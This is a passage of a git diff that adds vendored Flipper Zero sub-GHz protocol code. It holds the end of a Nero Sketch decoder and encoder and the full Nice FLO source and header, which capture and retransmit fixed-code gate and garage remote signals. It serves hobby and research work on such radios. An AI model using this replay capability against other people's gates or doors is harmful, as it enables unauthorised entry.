+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_nero_sketch_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_nero_sketch_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_nero_sketch_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_nero_sketch_const.te_long);
+        }
+    }
+
+    //Send stop bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_nero_sketch_const.te_short * 3);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_nero_sketch_const.te_short);
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_nero_sketch_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderNeroSketch* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_nero_sketch_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_nero_sketch_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_nero_sketch_stop(void* context) {
+    SubGhzProtocolEncoderNeroSketch* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_nero_sketch_yield(void* context) {
+    SubGhzProtocolEncoderNeroSketch* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_nero_sketch_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderNeroSketch* instance = malloc(sizeof(SubGhzProtocolDecoderNeroSketch));
+    instance->base.protocol = &subghz_protocol_nero_sketch;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_nero_sketch_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroSketch* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_nero_sketch_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroSketch* instance = context;
+    instance->decoder.parser_step = NeroSketchDecoderStepReset;
+}
+
+void subghz_protocol_decoder_nero_sketch_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroSketch* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case NeroSketchDecoderStepReset:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_nero_sketch_const.te_short) <
+                       subghz_protocol_nero_sketch_const.te_delta)) {
+            instance->decoder.parser_step = NeroSketchDecoderStepCheckPreambula;
+            instance->decoder.te_last = duration;
+            instance->header_count = 0;
+        }
+        break;
+    case NeroSketchDecoderStepCheckPreambula:
+        if(level) {
+            if((DURATION_DIFF(duration, subghz_protocol_nero_sketch_const.te_short) <
+                subghz_protocol_nero_sketch_const.te_delta) ||
+               (DURATION_DIFF(duration, subghz_protocol_nero_sketch_const.te_short * 4) <
+                subghz_protocol_nero_sketch_const.te_delta)) {
+                instance->decoder.te_last = duration;
+            } else {
+                instance->decoder.parser_step = NeroSketchDecoderStepReset;
+            }
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_nero_sketch_const.te_short) <
+            subghz_protocol_nero_sketch_const.te_delta) {
+            if(DURATION_DIFF(
+                   instance->decoder.te_last, subghz_protocol_nero_sketch_const.te_short) <
+               subghz_protocol_nero_sketch_const.te_delta) {
+                // Found header
+                instance->header_count++;
+                break;
+            } else if(
+                DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_nero_sketch_const.te_short * 4) <
+                subghz_protocol_nero_sketch_const.te_delta) {
+                // Found start bit
+                if(instance->header_count > 40) {
+                    instance->decoder.parser_step = NeroSketchDecoderStepSaveDuration;
+                    instance->decoder.decode_data = 0;
+                    instance->decoder.decode_count_bit = 0;
+                } else {
+                    instance->decoder.parser_step = NeroSketchDecoderStepReset;
+                }
+            } else {
+                instance->decoder.parser_step = NeroSketchDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = NeroSketchDecoderStepReset;
+        }
+        break;
+    case NeroSketchDecoderStepSaveDuration:
+        if(level) {
+            if(duration >= (subghz_protocol_nero_sketch_const.te_short * 2 +
+                            subghz_protocol_nero_sketch_const.te_delta * 2)) {
+                //Found stop bit
+                instance->decoder.parser_step = NeroSketchDecoderStepReset;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_nero_sketch_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = NeroSketchDecoderStepCheckDuration;
+            }
+
+        } else {
+            instance->decoder.parser_step = NeroSketchDecoderStepReset;
+        }
+        break;
+    case NeroSketchDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_nero_sketch_const.te_short) <
+                subghz_protocol_nero_sketch_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_nero_sketch_const.te_long) <
+                subghz_protocol_nero_sketch_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = NeroSketchDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_nero_sketch_const.te_long) <
+                 subghz_protocol_nero_sketch_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_nero_sketch_const.te_short) <
+                 subghz_protocol_nero_sketch_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = NeroSketchDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = NeroSketchDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = NeroSketchDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_nero_sketch_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroSketch* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_nero_sketch_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroSketch* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_nero_sketch_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroSketch* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_nero_sketch_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_nero_sketch_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroSketch* instance = context;
+
+    uint32_t code_found_hi = instance->generic.data >> 32;
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    uint32_t code_found_reverse_hi = code_found_reverse >> 32;
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff;
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%lX%08lX\r\n"
+        "Yek:0x%lX%08lX\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        code_found_hi,
+        code_found_lo,
+        code_found_reverse_hi,
+        code_found_reverse_lo);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_sketch.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_sketch.h
new file mode 100644
index 000000000..b557772d2
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_sketch.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_NERO_SKETCH_NAME "Nero Sketch"
+
+typedef struct SubGhzProtocolDecoderNeroSketch SubGhzProtocolDecoderNeroSketch;
+typedef struct SubGhzProtocolEncoderNeroSketch SubGhzProtocolEncoderNeroSketch;
+
+extern const SubGhzProtocolDecoder subghz_protocol_nero_sketch_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_nero_sketch_encoder;
+extern const SubGhzProtocol subghz_protocol_nero_sketch;
+
+/**
+ * Allocate SubGhzProtocolEncoderNeroSketch.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderNeroSketch* pointer to a SubGhzProtocolEncoderNeroSketch instance
+ */
+void* subghz_protocol_encoder_nero_sketch_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderNeroSketch.
+ * @param context Pointer to a SubGhzProtocolEncoderNeroSketch instance
+ */
+void subghz_protocol_encoder_nero_sketch_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderNeroSketch instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_nero_sketch_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderNeroSketch instance
+ */
+void subghz_protocol_encoder_nero_sketch_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderNeroSketch instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_nero_sketch_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderNeroSketch.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderNeroSketch* pointer to a SubGhzProtocolDecoderNeroSketch instance
+ */
+void* subghz_protocol_decoder_nero_sketch_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderNeroSketch.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroSketch instance
+ */
+void subghz_protocol_decoder_nero_sketch_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderNeroSketch.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroSketch instance
+ */
+void subghz_protocol_decoder_nero_sketch_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroSketch instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_nero_sketch_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroSketch instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_nero_sketch_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderNeroSketch.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroSketch instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_nero_sketch_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderNeroSketch.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroSketch instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_nero_sketch_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroSketch instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_nero_sketch_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.c
new file mode 100644
index 000000000..f7c8fe757
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.c
@@ -0,0 +1,335 @@
+#include "nice_flo.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolNiceFlo"
+
+static const SubGhzBlockConst subghz_protocol_nice_flo_const = {
+    .te_short = 700,
+    .te_long = 1400,
+    .te_delta = 200,
+    .min_count_bit_for_found = 12,
+};
+
+struct SubGhzProtocolDecoderNiceFlo {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderNiceFlo {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    NiceFloDecoderStepReset = 0,
+    NiceFloDecoderStepFoundStartBit,
+    NiceFloDecoderStepSaveDuration,
+    NiceFloDecoderStepCheckDuration,
+} NiceFloDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_nice_flo_decoder = {
+    .alloc = subghz_protocol_decoder_nice_flo_alloc,
+    .free = subghz_protocol_decoder_nice_flo_free,
+
+    .feed = subghz_protocol_decoder_nice_flo_feed,
+    .reset = subghz_protocol_decoder_nice_flo_reset,
+
+    .get_hash_data = subghz_protocol_decoder_nice_flo_get_hash_data,
+    .serialize = subghz_protocol_decoder_nice_flo_serialize,
+    .deserialize = subghz_protocol_decoder_nice_flo_deserialize,
+    .get_string = subghz_protocol_decoder_nice_flo_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_nice_flo_encoder = {
+    .alloc = subghz_protocol_encoder_nice_flo_alloc,
+    .free = subghz_protocol_encoder_nice_flo_free,
+
+    .deserialize = subghz_protocol_encoder_nice_flo_deserialize,
+    .stop = subghz_protocol_encoder_nice_flo_stop,
+    .yield = subghz_protocol_encoder_nice_flo_yield,
+};
+
+const SubGhzProtocol subghz_protocol_nice_flo = {
+    .name = SUBGHZ_PROTOCOL_NICE_FLO_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_nice_flo_decoder,
+    .encoder = &subghz_protocol_nice_flo_encoder,
+};
+
+void* subghz_protocol_encoder_nice_flo_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderNiceFlo* instance = malloc(sizeof(SubGhzProtocolEncoderNiceFlo));
+
+    instance->base.protocol = &subghz_protocol_nice_flo;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 52; //max 24bit*2 + 2 (start, stop)
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_nice_flo_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderNiceFlo* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderNiceFlo instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_nice_flo_get_upload(SubGhzProtocolEncoderNiceFlo* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_nice_flo_const.te_short * 36);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_nice_flo_const.te_short);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_nice_flo_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_nice_flo_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_nice_flo_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_nice_flo_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_nice_flo_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderNiceFlo* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if((instance->generic.data_count_bit <
+            subghz_protocol_nice_flo_const.min_count_bit_for_found) ||
+           (instance->generic.data_count_bit >
+            2 * subghz_protocol_nice_flo_const.min_count_bit_for_found)) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_nice_flo_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_nice_flo_stop(void* context) {
+    SubGhzProtocolEncoderNiceFlo* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_nice_flo_yield(void* context) {
+    SubGhzProtocolEncoderNiceFlo* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_nice_flo_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderNiceFlo* instance = malloc(sizeof(SubGhzProtocolDecoderNiceFlo));
+    instance->base.protocol = &subghz_protocol_nice_flo;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_nice_flo_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlo* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_nice_flo_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlo* instance = context;
+    instance->decoder.parser_step = NiceFloDecoderStepReset;
+}
+
+void subghz_protocol_decoder_nice_flo_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlo* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case NiceFloDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_nice_flo_const.te_short * 36) <
+                        subghz_protocol_nice_flo_const.te_delta * 36)) {
+            //Found header Nice Flo
+            instance->decoder.parser_step = NiceFloDecoderStepFoundStartBit;
+        }
+        break;
+    case NiceFloDecoderStepFoundStartBit:
+        if(!level) {
+            break;
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_nice_flo_const.te_short) <
+            subghz_protocol_nice_flo_const.te_delta) {
+            //Found start bit Nice Flo
+            instance->decoder.parser_step = NiceFloDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = NiceFloDecoderStepReset;
+        }
+        break;
+    case NiceFloDecoderStepSaveDuration:
+        if(!level) { //save interval
+            if(duration >= (subghz_protocol_nice_flo_const.te_short * 4)) {
+                instance->decoder.parser_step = NiceFloDecoderStepFoundStartBit;
+                if(instance->decoder.decode_count_bit >=
+                   subghz_protocol_nice_flo_const.min_count_bit_for_found) {
+                    instance->generic.serial = 0x0;
+                    instance->generic.btn = 0x0;
+
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            }
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = NiceFloDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = NiceFloDecoderStepReset;
+        }
+        break;
+    case NiceFloDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_nice_flo_const.te_short) <
+                subghz_protocol_nice_flo_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_nice_flo_const.te_long) <
+                subghz_protocol_nice_flo_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = NiceFloDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_nice_flo_const.te_long) <
+                 subghz_protocol_nice_flo_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_nice_flo_const.te_short) <
+                 subghz_protocol_nice_flo_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = NiceFloDecoderStepSaveDuration;
+            } else
+                instance->decoder.parser_step = NiceFloDecoderStepReset;
+        } else {
+            instance->decoder.parser_step = NiceFloDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_nice_flo_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlo* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_nice_flo_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlo* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_nice_flo_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlo* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if((instance->generic.data_count_bit <
+            subghz_protocol_nice_flo_const.min_count_bit_for_found) ||
+           (instance->generic.data_count_bit >
+            2 * subghz_protocol_nice_flo_const.min_count_bit_for_found)) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+    } while(false);
+    return ret;
+}
+
+void subghz_protocol_decoder_nice_flo_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNiceFlo* instance = context;
+
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff;
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%08lX\r\n"
+        "Yek:0x%08lX\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        code_found_lo,
+        code_found_reverse_lo);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.h
new file mode 100644
index 000000000..9a4b53d12
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_NICE_FLO_NAME "Nice FLO"
+
+typedef struct SubGhzProtocolDecoderNiceFlo SubGhzProtocolDecoderNiceFlo;
+typedef struct SubGhzProtocolEncoderNiceFlo SubGhzProtocolEncoderNiceFlo;
+
+extern const SubGhzProtocolDecoder subghz_protocol_nice_flo_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_nice_flo_encoder;
+extern const SubGhzProtocol subghz_protocol_nice_flo;
+
+/**
+ * Allocate SubGhzProtocolEncoderNiceFlo.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderNiceFlo* pointer to a SubGhzProtocolEncoderNiceFlo instance
+ */
+void* subghz_protocol_encoder_nice_flo_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderNiceFlo.
+ * @param context Pointer to a SubGhzProtocolEncoderNiceFlo instance
+ */
+void subghz_protocol_encoder_nice_flo_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderNiceFlo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_nice_flo_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderNiceFlo instance
+ */
+void subghz_protocol_encoder_nice_flo_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderNiceFlo instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_nice_flo_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderNiceFlo.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderNiceFlo* pointer to a SubGhzProtocolDecoderNiceFlo instance
+ */
+void* subghz_protocol_decoder_nice_flo_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderNiceFlo.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlo instance
+ */
+void subghz_protocol_decoder_nice_flo_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderNiceFlo.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlo instance
+ */
+void subghz_protocol_decoder_nice_flo_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlo instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_nice_flo_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlo instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_nice_flo_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderNiceFlo.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_nice_flo_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderNiceFlo.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_nice_flo_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderNiceFlo instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_nice_flo_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flor_s.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flor_s.c
